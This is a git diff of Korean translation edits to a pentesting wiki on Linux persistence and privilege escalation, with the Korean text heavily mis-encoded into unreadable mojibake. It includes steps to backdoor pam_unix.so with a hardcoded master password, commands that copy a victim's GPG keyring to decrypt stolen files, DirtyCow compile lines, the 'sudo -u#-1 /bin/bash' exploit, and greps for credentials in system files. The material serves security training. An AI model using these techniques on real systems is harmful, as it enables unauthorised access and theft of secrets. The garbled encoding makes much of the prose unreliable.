๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์ธ์ฆ์„ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค. -**Objective**: PAM์„ ์ˆ˜์ •ํ•˜์—ฌ ํŠน์ • ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ์ธ์ฆ์„ ํ—ˆ์šฉํ•˜๊ณ  ์‹ค์ œ ์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์šฐํšŒํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ํŠนํžˆ ๊ฑฐ์˜ ๋ชจ๋“  ์„œ๋น„์Šค์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ฒ€์ฆ์„ ์œ„ํ•ด ํฌํ•จ๋˜๋Š” `common-auth` ํŒŒ์ผ์—์„œ ์‚ฌ์šฉ๋˜๋Š” `pam_unix.so` ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ์ค‘์ ์„ ๋‘ก๋‹ˆ๋‹ค. +**๋ชฉํ‘œ**: ์‹ค์ œ ์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์šฐํšŒํ•˜์—ฌ ํŠน์ • ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ์ธ์ฆ์„ ํ—ˆ์šฉํ•˜๋„๋ก PAM์„ ์ˆ˜์ •ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ํŠนํžˆ ๊ฑฐ์˜ ๋ชจ๋“  ์„œ๋น„์Šค์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ฒ€์ฆ์„ ์œ„ํ•ด ํฌํ•จ๋˜๋Š” `common-auth` ํŒŒ์ผ์—์„œ ์‚ฌ์šฉ๋˜๋Š” `pam_unix.so` ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ์ดˆ์ ์„ ๋งž์ถฅ๋‹ˆ๋‹ค. ### Steps for Modifying `pam_unix.so`: 1. **Locate the Authentication Directive** in the `common-auth` file: -- ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํ™•์ธํ•˜๋Š” ์ฑ…์ž„์ด ์žˆ๋Š” ๋ผ์ธ์ด `pam_unix.so`๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค. +- The line responsible for checking a user's password calls `pam_unix.so`. 2. **Modify Source Code**: -- `pam_unix_auth.c` ์†Œ์Šค ํŒŒ์ผ์— ๋ฏธ๋ฆฌ ์ •์˜๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์‚ฌ์šฉ๋˜๋ฉด ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜๊ณ , ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ๊ธฐ์กด ์ธ์ฆ ๊ณผ์ •์„ ๊ณ„์† ์ง„ํ–‰ํ•˜๋„๋ก ํ•˜๋Š” ์กฐ๊ฑด๋ฌธ์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. +- Add a conditional statement in the `pam_unix_auth.c` source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process. 3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory. 4. **Testing**: -- ์‚ฌ์ „ ์ •์˜๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ๋กœ๊ทธ์ธ, ssh, sudo, su, screensaver ๋“ฑ ๋‹ค์–‘ํ•œ ์„œ๋น„์Šค์—์„œ ์ ‘๊ทผ์ด ํ—ˆ์šฉ๋˜๋ฉฐ, ์ •์ƒ์ ์ธ ์ธ์ฆ ํ”„๋กœ์„ธ์Šค์—๋Š” ์˜ํ–ฅ์„ ์ฃผ์ง€ ์•Š์Šต๋‹ˆ๋‹ค. +- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected. > [!TIP] -> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) +> ์ด ๊ณผ์ •์„ ์ž๋™ํ™”ํ•˜๋ ค๋ฉด [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š” ## Decrypting GPG loot via homedir relocation -์•”ํ˜ธํ™”๋œ `.gpg` ํŒŒ์ผ๊ณผ ์‚ฌ์šฉ์ž์˜ `~/.gnupg` ํด๋”(pubring, private-keys, trustdb)๋ฅผ ์ฐพ์•˜์ง€๋งŒ GnuPG homedir ๊ถŒํ•œ/์ž ๊ธˆ ๋•Œ๋ฌธ์— ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ, ํ‚ค๋ง์„ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์œ„์น˜๋กœ ๋ณต์‚ฌํ•œ ๋‹ค์Œ ์ด๋ฅผ GPG home์œผ๋กœ ์‚ฌ์šฉํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค. +์•”ํ˜ธํ™”๋œ `.gpg` ํŒŒ์ผ๊ณผ ์‚ฌ์šฉ์ž์˜ `~/.gnupg` ํด๋”(pubring, private-keys, trustdb)๋ฅผ ์ฐพ์•˜์ง€๋งŒ GnuPG homedir ๊ถŒํ•œ/์ž ๊ธˆ ๋•Œ๋ฌธ์— ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์—†๋‹ค๋ฉด, ํ‚ค๋ง์„ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์œ„์น˜๋กœ ๋ณต์‚ฌํ•œ ๋‹ค์Œ ์ด๋ฅผ GPG homedir๋กœ ์‚ฌ์šฉํ•˜์„ธ์š”. -์ด ์ž‘์—…์„ ํ•˜์ง€ ์•Š์„ ๋•Œ ๋ณด๊ฒŒ ๋˜๋Š” ์ผ๋ฐ˜์ ์ธ ์˜ค๋ฅ˜: "unsafe ownership on homedir", "failed to create temporary file", ๋˜๋Š” "decryption failed: No secret key" (GPG๊ฐ€ ์›๋ณธ homedir์„ ์ฝ๊ฑฐ๋‚˜ ์“ธ ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ). +์ด ์ž‘์—…์„ ํ•˜์ง€ ์•Š์œผ๋ฉด ๋ณดํ†ต ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค: "unsafe ownership on homedir", "failed to create temporary file", ๋˜๋Š” "decryption failed: No secret key" (์ด๋Š” GPG๊ฐ€ ์›๋ณธ homedir๋ฅผ ์ฝ๊ฑฐ๋‚˜ ์“ธ ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค). -Workflow: +์›Œํฌํ”Œ๋กœ์šฐ: ```bash # 1) Stage a writable homedir and copy the victim's keyring mkdir -p /dev/shm/fakehome/.gnupg @@ -70,10 +69,10 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg # or gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg ``` -๋น„๋ฐ€ ํ‚ค ์ž๋ฃŒ๊ฐ€ `private-keys-v1.d`์— ์กด์žฌํ•˜๋ฉด, GPG๋Š” passphrase๋ฅผ ๋ฌป์ง€ ์•Š๊ณ  ์ž ๊ธˆ ํ•ด์ œํ•˜๊ณ  ๋ณตํ˜ธํ™”ํ•ฉ๋‹ˆ๋‹ค(๋˜๋Š” ํ‚ค๊ฐ€ ๋ณดํ˜ธ๋˜์–ด ์žˆ์œผ๋ฉด ๋ฌป์Šต๋‹ˆ๋‹ค). +๋น„๋ฐ€ ํ‚ค ์ž๋ฃŒ๊ฐ€ `private-keys-v1.d`์— ์กด์žฌํ•˜๋ฉด, GPG๋Š” passphrase๋ฅผ ๋ฌป์ง€ ์•Š๊ณ  ์ž ๊ธˆ ํ•ด์ œ ๋ฐ ๋ณตํ˜ธํ™”๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค(ํ‚ค๊ฐ€ ๋ณดํ˜ธ๋˜์–ด ์žˆ์œผ๋ฉด ๋ฌป์Šต๋‹ˆ๋‹ค). -## ์ฐธ๊ณ ์ž๋ฃŒ +## References - [0xdf โ€“ HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) - [GnuPG Manual โ€“ Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index d1c7cb94b..6c264cd73 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,15 +6,15 @@ ### OS ์ •๋ณด -์‹คํ–‰ ์ค‘์ธ OS์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•ด ๋ด…์‹œ๋‹ค. +์‹คํ–‰ ์ค‘์ธ OS์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•ด๋ด…์‹œ๋‹ค. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### ๊ฒฝ๋กœ -๋งŒ์•ฝ **`PATH` ๋‚ด๋ถ€์˜ ์–ด๋–ค ํด๋”์— ๋Œ€ํ•ด ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด** ์ผ๋ถ€ libraries๋‚˜ binaries๋ฅผ hijackํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +**`PATH` ๋ณ€์ˆ˜ ์•ˆ์˜ ์–ด๋–ค ํด๋”์— ๋Œ€ํ•ด ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด** ์ผ๋ถ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋‚˜ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ํ•˜์ด์žฌํ‚นํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash echo $PATH ``` @@ -32,20 +32,20 @@ cat /proc/version uname -a searchsploit "Linux Kernel" ``` -์—ฌ๊ธฐ์—์„œ ์ข‹์€ ์ทจ์•ฝ ์ปค๋„ ๋ชฉ๋ก๊ณผ ๋ช‡๋ช‡ ์ด๋ฏธ **compiled exploits**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -๋‹ค๋ฅธ ์‚ฌ์ดํŠธ๋“ค์—์„œ๋„ **compiled exploits**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +์ทจ์•ฝํ•œ ์ปค๋„ ๋ชฉ๋ก๊ณผ ์ผ๋ถ€ **compiled exploits**๋Š” ๋‹ค์Œ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ๋ฐ [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +๋‹ค๋ฅธ ์‚ฌ์ดํŠธ๋“ค์—์„œ๋„ ์ผ๋ถ€ **compiled exploits**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -ํ•ด๋‹น ์›น์—์„œ ๋ชจ๋“  ์ทจ์•ฝํ•œ ์ปค๋„ ๋ฒ„์ „์„ ์ถ”์ถœํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜์„ธ์š”: +ํ•ด๋‹น ์›น์‚ฌ์ดํŠธ์—์„œ ๋ชจ๋“  ์ทจ์•ฝํ•œ ์ปค๋„ ๋ฒ„์ „์„ ์ถ”์ถœํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -kernel exploits๋ฅผ ๊ฒ€์ƒ‰ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ๋Š” ๋„๊ตฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: +kernel exploit์„ ๊ฒ€์ƒ‰ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ๋Š” ๋„๊ตฌ๋Š”: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (victim์—์„œ ์‹คํ–‰, kernel 2.x์— ๋Œ€ํ•œ exploits๋งŒ ํ™•์ธ) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ํ”ผํ•ด์ž์—์„œ ์‹คํ–‰, kernel 2.x์šฉ exploit๋งŒ ๊ฒ€์‚ฌ) -ํ•ญ์ƒ **Google์—์„œ kernel version์„ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”**, ์•„๋งˆ๋„ ํŠน์ • kernel exploit์— ๊ท€ํ•˜์˜ kernel version์ด ์ ํ˜€ ์žˆ์„ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ๊ทธ๋Ÿฌ๋ฉด ํ•ด๋‹น exploit์ด ์œ ํšจํ•œ์ง€ ํ™•์‹ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +ํ•ญ์ƒ **Google์—์„œ ์ปค๋„ ๋ฒ„์ „์„ ๊ฒ€์ƒ‰**ํ•˜์„ธ์š”. ์•„๋งˆ๋„ ์ปค๋„ ๋ฒ„์ „์ด ์–ด๋–ค kernel exploit์— ์ ํ˜€ ์žˆ์„ ์ˆ˜ ์žˆ์œผ๋‹ˆ, ๊ทธ๋Ÿฌ๋ฉด ๊ทธ exploit๊ฐ€ ์œ ํšจํ•œ์ง€ ํ™•์‹ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### CVE-2016-5195 (DirtyCow) @@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo version +### Sudo ๋ฒ„์ „ -๋‹ค์Œ์— ๋‚˜ํƒ€๋‚œ ์ทจ์•ฝํ•œ sudo ๋ฒ„์ „์„ ๊ธฐ๋ฐ˜์œผ๋กœ: +๋‹ค์Œ์— ๋‚˜ํƒ€๋‚˜๋Š” ์ทจ์•ฝํ•œ sudo ๋ฒ„์ „์„ ๊ธฐ๋ฐ˜์œผ๋กœ: ```bash searchsploit sudo ``` @@ -69,24 +69,24 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` #### sudo < v1.28 -์ž‘์„ฑ์ž @sickrov +์ž‘์„ฑ์ž: @sickrov ``` sudo -u#-1 /bin/bash ``` ### Dmesg ์„œ๋ช… ๊ฒ€์ฆ ์‹คํŒจ -์ด vuln์ด ์–ด๋–ป๊ฒŒ ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š”์ง€์— ๋Œ€ํ•œ **์˜ˆ์ œ**๋Š” **smasher2 box of HTB**๋ฅผ ํ™•์ธํ•˜์„ธ์š”. +์ด vuln์ด ์–ด๋–ป๊ฒŒ ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š”์ง€์— ๋Œ€ํ•œ **์˜ˆ์‹œ**๋Š” **smasher2 box of HTB**์—์„œ ํ™•์ธํ•˜์„ธ์š”. ```bash dmesg 2>/dev/null | grep "signature" ``` -### ์ถ”๊ฐ€ ์‹œ์Šคํ…œ ์—ด๊ฑฐ +### ๋” ๋งŽ์€ ์‹œ์Šคํ…œ ์—ด๊ฑฐ ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## ๊ฐ€๋Šฅํ•œ ๋ฐฉ์–ด ์ˆ˜๋‹จ ์—ด๊ฑฐ +## ๊ฐ€๋Šฅํ•œ ๋ฐฉ์–ด์ฑ… ์—ด๊ฑฐ ### AppArmor ```bash @@ -123,15 +123,15 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -docker container ๋‚ด๋ถ€์— ์žˆ๋‹ค๋ฉด ๊ทธ ์•ˆ์—์„œ ํƒˆ์ถœ์„ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +docker container ์•ˆ์— ์žˆ๋‹ค๋ฉด escape๋ฅผ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: {{#ref}} docker-security/ {{#endref}} -## Drives +## ๋“œ๋ผ์ด๋ธŒ -์–ด๋–ค ๊ฒƒ์ด **what is mounted and unmounted**, ์–ด๋””์— ๊ทธ๋ฆฌ๊ณ  ์™œ ๊ทธ๋Ÿฐ์ง€ ํ™•์ธํ•˜์„ธ์š”. ๋งŒ์•ฝ ์–ด๋–ค ํ•ญ๋ชฉ์ด unmounted ์ƒํƒœ๋ผ๋ฉด mount๋ฅผ ์‹œ๋„ํ•ด๋ณด๊ณ  ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ํ™•์ธํ•ด๋ณด์„ธ์š” +๋ฌด์—‡์ด **mounted and unmounted** ๋˜์–ด ์žˆ๋Š”์ง€, ์–ด๋””์— ๊ทธ๋ฆฌ๊ณ  ์™œ ๊ทธ๋Ÿฐ์ง€ ํ™•์ธํ•˜์„ธ์š”. ๋งŒ์•ฝ ์–ด๋–ค ํ•ญ๋ชฉ์ด unmounted ๋˜์–ด ์žˆ๋‹ค๋ฉด mount๋ฅผ ์‹œ๋„ํ•ด๋ณด๊ณ  private info๋ฅผ ํ™•์ธํ•ด๋ณด์„ธ์š” ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,46 +140,46 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## ์œ ์šฉํ•œ ์†Œํ”„ํŠธ์›จ์–ด -์œ ์šฉํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋‚˜์—ด +์œ ์šฉํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ ์—ด๊ฑฐ ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -๋˜ํ•œ, **any compiler is installed** ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ์ผ๋ถ€ kernel exploit์„ ์‚ฌ์šฉํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ, ์ด๋ฅผ ์‚ฌ์šฉํ•  ๋จธ์‹ (๋˜๋Š” ์œ ์‚ฌํ•œ ๋จธ์‹ )์—์„œ ์ปดํŒŒ์ผํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋˜๋ฏ€๋กœ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. +๋˜ํ•œ, **์ปดํŒŒ์ผ๋Ÿฌ๊ฐ€ ์„ค์น˜๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”**. ์ด๋Š” ์ผ๋ถ€ kernel exploit์„ ์‚ฌ์šฉํ•ด์•ผ ํ•  ๊ฒฝ์šฐ ์œ ์šฉํ•˜๋ฉฐ, ํ•ด๋‹น exploit์€ ์‚ฌ์šฉํ•  ๋จธ์‹ (๋˜๋Š” ์œ ์‚ฌํ•œ ๋จธ์‹ )์—์„œ ์ปดํŒŒ์ผํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### ์ทจ์•ฝํ•œ ์†Œํ”„ํŠธ์›จ์–ด๊ฐ€ ์„ค์น˜๋จ +### ์„ค์น˜๋œ ์ทจ์•ฝํ•œ ์†Œํ”„ํŠธ์›จ์–ด -์„ค์น˜๋œ ํŒจํ‚ค์ง€ ๋ฐ ์„œ๋น„์Šค์˜ **๋ฒ„์ „์„ ํ™•์ธํ•˜์„ธ์š”**. ์˜ˆ๋ฅผ ๋“ค์–ด ์˜ค๋ž˜๋œ Nagios ๋ฒ„์ „์ด ์žˆ์–ด escalating privileges์— ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹คโ€ฆ\ -๋” ์˜์‹ฌ์Šค๋Ÿฌ์šด ์†Œํ”„ํŠธ์›จ์–ด์˜ ๋ฒ„์ „์„ ์ง์ ‘ ํ™•์ธํ•˜๋Š” ๊ฒƒ์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค. +**์„ค์น˜๋œ ํŒจํ‚ค์ง€์™€ ์„œ๋น„์Šค์˜ ๋ฒ„์ „**์„ ํ™•์ธํ•˜์„ธ์š”. ์˜ˆ๋ฅผ ๋“ค์–ด ์˜ค๋ž˜๋œ Nagios ๋ฒ„์ „์ด ์žˆ์–ด escalating privileges์— ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹คโ€ฆ\ +๋” ์˜์‹ฌ์Šค๋Ÿฌ์šด ์„ค์น˜๋œ ์†Œํ”„ํŠธ์›จ์–ด์˜ ๋ฒ„์ „์€ ์ˆ˜๋™์œผ๋กœ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. ```bash dpkg -l #Debian rpm -qa #Centos ``` -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +๋จธ์‹ ์— SSH ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด **openVAS**๋ฅผ ์‚ฌ์šฉํ•ด ๋จธ์‹  ๋‚ด๋ถ€์— ์„ค์น˜๋œ ์˜ค๋ž˜๋˜์—ˆ๊ฑฐ๋‚˜ ์ทจ์•ฝํ•œ ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ๊ฒ€์‚ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -> [!NOTE] > _์ด ๋ช…๋ น๋“ค์€ ๋Œ€๋ถ€๋ถ„ ์“ธ๋ชจ์—†๋Š” ๋งŽ์€ ์ •๋ณด๋ฅผ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ์„ค์น˜๋œ ์†Œํ”„ํŠธ์›จ์–ด ๋ฒ„์ „์ด ์•Œ๋ ค์ง„ ์ต์Šคํ”Œ๋กœ์ž‡์— ์ทจ์•ฝํ•œ์ง€ ๊ฒ€์‚ฌํ•ด์ฃผ๋Š” OpenVAS์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค_ +> [!NOTE] > _๋ช…๋ น์–ด๋“ค์€ ๋งŽ์€ ์ •๋ณด๋ฅผ ๋ณด์—ฌ์ฃผ๋ฉฐ ๋Œ€๋ถ€๋ถ„ ์“ธ๋ชจ์—†์„ ์ˆ˜ ์žˆ์œผ๋‹ˆ, ์„ค์น˜๋œ ์†Œํ”„ํŠธ์›จ์–ด ๋ฒ„์ „์ด ์•Œ๋ ค์ง„ exploits์— ์ทจ์•ฝํ•œ์ง€ ํ™•์ธํ•ด์ฃผ๋Š” OpenVAS ๊ฐ™์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค_ -## Processes +## ํ”„๋กœ์„ธ์Šค -์‹คํ–‰ ์ค‘์ธ **ํ”„๋กœ์„ธ์Šค๋“ค์ด ๋ฌด์—‡์ธ์ง€** ํ™•์ธํ•˜๊ณ , ์–ด๋–ค ํ”„๋กœ์„ธ์Šค๊ฐ€ ๊ฐ€์ ธ์•ผ ํ•  ๊ถŒํ•œ๋ณด๋‹ค **๋” ๋งŽ์€ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€** ๊ฒ€์‚ฌํ•˜์„ธ์š” (์˜ˆ: tomcat์ด root๋กœ ์‹คํ–‰๋˜๊ณ  ์žˆ๋Š”์ง€?). +์‹คํ–‰ ์ค‘์ธ **์–ด๋–ค ํ”„๋กœ์„ธ์Šค๋“ค**์„ ์‚ดํŽด๋ณด๊ณ , ์–ด๋–ค ํ”„๋กœ์„ธ์Šค๊ฐ€ **๊ฐ€์ ธ์•ผ ํ•  ๊ฒƒ๋ณด๋‹ค ๋” ๋งŽ์€ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€** ํ™•์ธํ•˜์„ธ์š”(์˜ˆ: tomcat์ด root๋กœ ์‹คํ–‰๋˜๋Š” ๊ฒฝ์šฐ?) ```bash ps aux ps -ef top -n 1 ``` -ํ•ญ์ƒ [**electron/cef/chromium debuggers**๊ฐ€ ์‹คํ–‰ ์ค‘์ธ์ง€ ํ™•์ธํ•˜์„ธ์š”, ์ด๋ฅผ ์•…์šฉํ•ด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค](electron-cef-chromium-debugger-abuse.md). **Linpeas**๋Š” ํ”„๋กœ์„ธ์Šค์˜ ๋ช…๋ นํ–‰์—์„œ `--inspect` ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ™•์ธํ•ด ์ด๋ฅผ ๊ฐ์ง€ํ•ฉ๋‹ˆ๋‹ค.\ -๋˜ํ•œ ํ”„๋กœ์„ธ์Šค์˜ binaries์— ๋Œ€ํ•œ ๊ถŒํ•œ๋„ ํ™•์ธํ•˜์„ธ์š”. ๋ˆ„๊ตฐ๊ฐ€์˜ ํŒŒ์ผ์„ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค. +Always check for possible [**electron/cef/chromium debuggers** ์‹คํ–‰ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜์„ธ์š”, ์ด๋ฅผ ์•…์šฉํ•ด ๊ถŒํ•œ ์ƒ์Šนํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Also **check your privileges over the processes binaries**, maybe you can overwrite someone. -### ํ”„๋กœ์„ธ์Šค ๋ชจ๋‹ˆํ„ฐ๋ง +### Process monitoring -ํ”„๋กœ์„ธ์Šค๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ธฐ ์œ„ํ•ด [**pspy**](https://github.com/DominicBreuker/pspy) ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ทจ์•ฝํ•œ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ž์ฃผ ์‹คํ–‰๋˜๊ฑฐ๋‚˜ ํŠน์ • ์กฐ๊ฑด์ด ์ถฉ์กฑ๋  ๋•Œ ์ด๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ๋งค์šฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +ํ”„๋กœ์„ธ์Šค๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ธฐ ์œ„ํ•ด 